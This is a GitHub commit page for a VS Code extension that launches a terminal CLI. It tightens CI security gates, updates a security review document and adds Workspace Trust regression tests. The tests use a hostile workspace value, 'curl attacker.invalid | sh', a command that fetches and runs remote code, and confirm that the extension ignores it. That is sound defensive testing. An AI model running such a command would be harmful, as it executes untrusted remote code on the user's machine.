Skip to content

Commit 58613ef

Browse files
committed
fix: harden security gates and launcher tests
1 parent fb8eb83 commit 58613ef

7 files changed

Lines changed: 189 additions & 10 deletions

File tree

‎.github/workflows/ci.yml‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,9 @@ on:
55
branches:
66
- main
77
pull_request:
8+
workflow_dispatch:
9+
schedule:
10+
- cron: '17 6 * * 1'
811

912
permissions:
1013
contents: read
@@ -15,6 +18,7 @@ concurrency:
1518

1619
jobs:
1720
validate:
21+
if: github.event_name != 'schedule'
1822
runs-on: ${{ matrix.os }}
1923
timeout-minutes: 15
2024
strategy:
@@ -49,6 +53,7 @@ jobs:
4953
run: xvfb-run -a npm run check
5054

5155
compatibility:
56+
if: github.event_name != 'schedule'
5257
name: Compatibility (${{ matrix.os }}, VS Code ${{ matrix.vscode }})
5358
runs-on: ${{ matrix.os }}
5459
timeout-minutes: 15

‎CHANGELOG.md‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,13 @@ The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and
66

77
## Unreleased
88

9+
### Security
10+
11+
- Updated transitive `js-yaml` and `undici` development dependencies to remediate current high-severity advisories
12+
- Added behavioral regression coverage proving that programmatic launches remain blocked in untrusted workspaces and workspace-controlled commands are ignored
13+
- Added a weekly lockfile security audit without re-enabling periodic dependency version-update pull requests
14+
- Expanded required `main` checks to cover dependency auditing, compatibility, and CodeQL, and applied branch protection to administrators
15+
916
## 0.1.4 - 2026-08-02
1017

1118
### Changed

‎README.md‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -213,6 +213,8 @@ Useful commands:
213213
| `npm run check` | Run lint, formatting, type-check, all tests, and package-content inspection |
214214
| `npm run package` | Build the installable VSIX |
215215

216+
CI also runs the locked dependency audit every Monday. Scheduled runs skip the Extension Host matrix and execute only the security audit.
217+
216218
To test a specific VS Code version:
217219

218220
```powershell

‎docs/SECURITY_REVIEW.md‎

Lines changed: 45 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# Security Review
22

3-
- Review date: 2026-08-02
3+
- Review date: 2026-08-08
44
- Scope: extension runtime, manifest, tests, npm dependency graph, package contents, and GitHub Actions workflows
55

66
## Executive Summary
77

88
No critical runtime vulnerability was identified. The extension remains a small, transparent terminal launcher with no production dependencies, network access, hidden process execution, telemetry, or credential handling.
99

10-
The review found two high-severity advisories in transitive development dependencies, one CI supply-chain hardening opportunity, and one test-isolation issue. All were remediated without changing runtime behavior. The final npm audit reports zero known vulnerabilities.
10+
The 2026-08-08 follow-up found two newly disclosed high-severity advisories in transitive development dependencies, incomplete required-check coverage on `main`, and a behavioral test gap around Workspace Trust. All were remediated without changing runtime behavior. The final npm audit reports zero known vulnerabilities.
1111

1212
## Critical Findings
1313

@@ -26,7 +26,19 @@ Resolution:
2626
- `brace-expansion` is locked to 5.0.9 (`package-lock.json:1510`).
2727
- `fast-uri` is locked to 3.1.5 (`package-lock.json:2167`).
2828
- `npm run check:security` now audits the lockfile at high severity (`package.json:127`).
29-
- CI and release jobs run the audit before accepting or publishing artifacts (`.github/workflows/ci.yml:104`, `.github/workflows/release.yml:42`).
29+
- CI and release jobs run the audit before accepting or publishing artifacts (`.github/workflows/ci.yml:109`, `.github/workflows/release.yml:42`).
30+
31+
### SEC-007: Newly disclosed `js-yaml` and `undici` advisories — resolved
32+
33+
**Impact:** Malicious inputs reaching affected build-tool paths could cause denial of service or HTTP parsing and cache-safety failures during development or packaging; the extension runtime was not exposed because neither package is shipped in the VSIX.
34+
35+
The follow-up audit reported `js-yaml` 4.3.0 (GHSA-5p4m-2wfm-xmqj) and `undici` 7.28.0, including GHSA-4cwx-7wf7-3272. Both were transitive development dependencies under `@vscode/vsce`.
36+
37+
Resolution:
38+
39+
- `js-yaml` is locked to 4.3.1 (`package-lock.json:2748`).
40+
- `undici` is locked to 7.29.0 (`package-lock.json:4580`).
41+
- `npm audit --omit=dev` and the full locked dependency audit both report zero known vulnerabilities.
3042

3143
## Medium-Severity Findings
3244

@@ -36,9 +48,18 @@ The CI workflow referenced `actions/checkout@v7` and `actions/setup-node@v6`. Ma
3648

3749
Resolution:
3850

39-
- All checkout and Node setup steps are pinned to verified full commit SHAs, with their major release retained in same-line comments for maintainability (`.github/workflows/ci.yml:32`, `.github/workflows/ci.yml:35`, `.github/workflows/release.yml:21`, `.github/workflows/release.yml:24`).
51+
- All checkout and Node setup steps are pinned to verified full commit SHAs, with their major release retained in same-line comments for maintainability (`.github/workflows/ci.yml:36`, `.github/workflows/ci.yml:39`, `.github/workflows/release.yml:21`, `.github/workflows/release.yml:24`).
4052
- Default workflow permissions remain read-only; only the release job receives scoped `contents: write` permission (`.github/workflows/release.yml:8`, `.github/workflows/release.yml:16`).
4153

54+
### SEC-008: Incomplete required-check coverage on `main` — resolved
55+
56+
Branch protection required only the Windows and Linux validation jobs. A pull request could therefore remain mergeable when dependency auditing, compatibility, or CodeQL checks failed.
57+
58+
Resolution:
59+
60+
- Required checks now include dependency auditing, stable macOS, minimum VS Code compatibility, and both CodeQL analyses in addition to Windows and Linux validation.
61+
- Branch protection is enforced for administrators, while one approving review, stale-review dismissal, conversation resolution, linear history, and force-push/deletion blocking remain enabled.
62+
4263
## Low-Severity Findings
4364

4465
### SEC-003: VS Code type definitions could drift beyond the supported minimum — resolved
@@ -60,6 +81,25 @@ Resolution:
6081
- The test now saves the exact `globalValue` returned by `configuration.inspect(...)` and restores that value after the smoke test (`test/integration/suite/index.js:30`, `test/integration/suite/index.js:46`).
6182
- The integration runner now reports failures explicitly and sets a non-zero process exit code, so CI cannot depend on unhandled-rejection behavior (`test/integration/runTest.js:24`).
6283

84+
### SEC-009: Workspace Trust invariant had only structural coverage — resolved
85+
86+
The metadata test confirmed that trust and terminal calls existed in the source but did not execute the registered command in an untrusted state. A misplaced future check could therefore satisfy the regular expression without preserving the security boundary.
87+
88+
Resolution:
89+
90+
- A behavioral test invokes the registered command callback with `workspace.isTrusted` false and verifies that configuration is not resolved, no terminal is created, and no text is sent (`test/extension.test.js:83`).
91+
- A trusted-path companion test verifies that the global user command is sent while a hostile workspace value is ignored (`test/extension.test.js:103`).
92+
93+
### SEC-010: Dependency audit ran only after repository activity — resolved
94+
95+
New advisories disclosed after the last push could remain visible only as repository alerts until another branch or pull-request run occurred.
96+
97+
Resolution:
98+
99+
- CI now runs the locked dependency audit every Monday and supports manual dispatch (`.github/workflows/ci.yml:8`).
100+
- Scheduled runs skip the Extension Host platform matrix and execute only the dependency audit (`.github/workflows/ci.yml:21`, `.github/workflows/ci.yml:56`).
101+
- Periodic Dependabot version-update pull requests remain intentionally disabled.
102+
63103
## Reviewed Design Risks
64104

65105
### SEC-004: User-configurable terminal command — accepted by design
@@ -87,5 +127,6 @@ The security conclusions are supported by:
87127
- package-content inspection with `vsce ls`;
88128
- `npm audit --package-lock-only --audit-level=high`;
89129
- review of GitHub workflow permissions, triggers, and immutable action references.
130+
- live verification of required branch checks, review enforcement, CodeQL, secret scanning, and push protection.
90131

91132
This review covers the launcher repository only. Kimi Code CLI, VS Code, compatible editors, user shell configuration, and external providers remain outside its trust boundary.

‎package-lock.json‎

Lines changed: 6 additions & 6 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎test/extension.test.js‎

Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
const test = require('node:test');
2+
const assert = require('node:assert/strict');
3+
const Module = require('node:module');
4+
5+
function loadExtensionWithFakeVscode({ isTrusted, inspection }) {
6+
const commandHandlers = new Map();
7+
const calls = {
8+
configurationRequests: 0,
9+
createdTerminals: [],
10+
sentCommands: [],
11+
warnings: [],
12+
};
13+
const fakeVscode = {
14+
ViewColumn: { Beside: 2 },
15+
commands: {
16+
registerCommand(commandId, handler) {
17+
commandHandlers.set(commandId, handler);
18+
return { dispose() {} };
19+
},
20+
async executeCommand() {},
21+
},
22+
workspace: {
23+
isTrusted,
24+
workspaceFolders: [{ uri: 'workspace-a' }],
25+
getConfiguration() {
26+
calls.configurationRequests += 1;
27+
return {
28+
inspect() {
29+
return inspection;
30+
},
31+
get(_key, fallback) {
32+
return fallback;
33+
},
34+
};
35+
},
36+
getWorkspaceFolder() {
37+
return undefined;
38+
},
39+
},
40+
window: {
41+
activeTextEditor: undefined,
42+
async showWarningMessage(message) {
43+
calls.warnings.push(message);
44+
return undefined;
45+
},
46+
createTerminal(options) {
47+
calls.createdTerminals.push(options);
48+
return {
49+
show() {},
50+
sendText(command, addNewLine) {
51+
calls.sentCommands.push({ command, addNewLine });
52+
},
53+
};
54+
},
55+
async showErrorMessage() {},
56+
setStatusBarMessage() {},
57+
},
58+
};
59+
const extensionPath = require.resolve('../out/extension.js');
60+
const originalLoad = Module._load;
61+
62+
delete require.cache[extensionPath];
63+
Module._load = function loadWithFakeVscode(request, parent, isMain) {
64+
return request === 'vscode' ? fakeVscode : originalLoad.call(this, request, parent, isMain);
65+
};
66+
67+
let extension;
68+
try {
69+
extension = require(extensionPath);
70+
} finally {
71+
Module._load = originalLoad;
72+
}
73+
74+
const context = {
75+
extension: { id: 'mikesoft.vscode-kimi-code-cli-launcher' },
76+
subscriptions: [],
77+
};
78+
extension.activate(context);
79+
80+
return { calls, commandHandlers };
81+
}
82+
83+
test('programmatic launch remains blocked while the workspace is untrusted', async () => {
84+
const { calls, commandHandlers } = loadExtensionWithFakeVscode({
85+
isTrusted: false,
86+
inspection: {
87+
defaultValue: 'kimi',
88+
globalValue: 'kimi --continue',
89+
workspaceValue: 'curl attacker.invalid | sh',
90+
},
91+
});
92+
const openCli = commandHandlers.get('kimiCodeCliLauncher.openCli');
93+
94+
assert.equal(typeof openCli, 'function');
95+
await openCli();
96+
97+
assert.equal(calls.warnings.length, 1);
98+
assert.equal(calls.configurationRequests, 0);
99+
assert.deepEqual(calls.createdTerminals, []);
100+
assert.deepEqual(calls.sentCommands, []);
101+
});
102+
103+
test('trusted launch sends only the user-level command to a fresh terminal', async () => {
104+
const { calls, commandHandlers } = loadExtensionWithFakeVscode({
105+
isTrusted: true,
106+
inspection: {
107+
defaultValue: 'kimi',
108+
globalValue: 'kimi --continue',
109+
workspaceValue: 'curl attacker.invalid | sh',
110+
},
111+
});
112+
const openCli = commandHandlers.get('kimiCodeCliLauncher.openCli');
113+
114+
assert.equal(typeof openCli, 'function');
115+
await openCli();
116+
117+
assert.equal(calls.warnings.length, 0);
118+
assert.equal(calls.configurationRequests, 1);
119+
assert.equal(calls.createdTerminals.length, 1);
120+
assert.deepEqual(calls.sentCommands, [{ command: 'kimi --continue', addNewLine: true }]);
121+
});

‎test/metadata.test.js‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -173,6 +173,9 @@ test('CI validates securely across supported platforms and editor versions', ()
173173
assert.match(workflow, /npm ci --ignore-scripts/);
174174
assert.match(workflow, /npm run check/);
175175
assert.match(workflow, /npm run check:security/);
176+
assert.match(workflow, /workflow_dispatch:/);
177+
assert.match(workflow, /schedule:\s+- cron: '17 6 \* \* 1'/);
178+
assert.equal(workflow.match(/if: github\.event_name != 'schedule'/g)?.length, 2);
176179
assert.match(workflow, /permissions:\s+contents: read/);
177180
assert.match(workflow, /actions\/checkout@[0-9a-f]{40} # v7/);
178181
assert.match(workflow, /actions\/setup-node@[0-9a-f]{40} # v6/);

0 commit comments

Comments
 (0)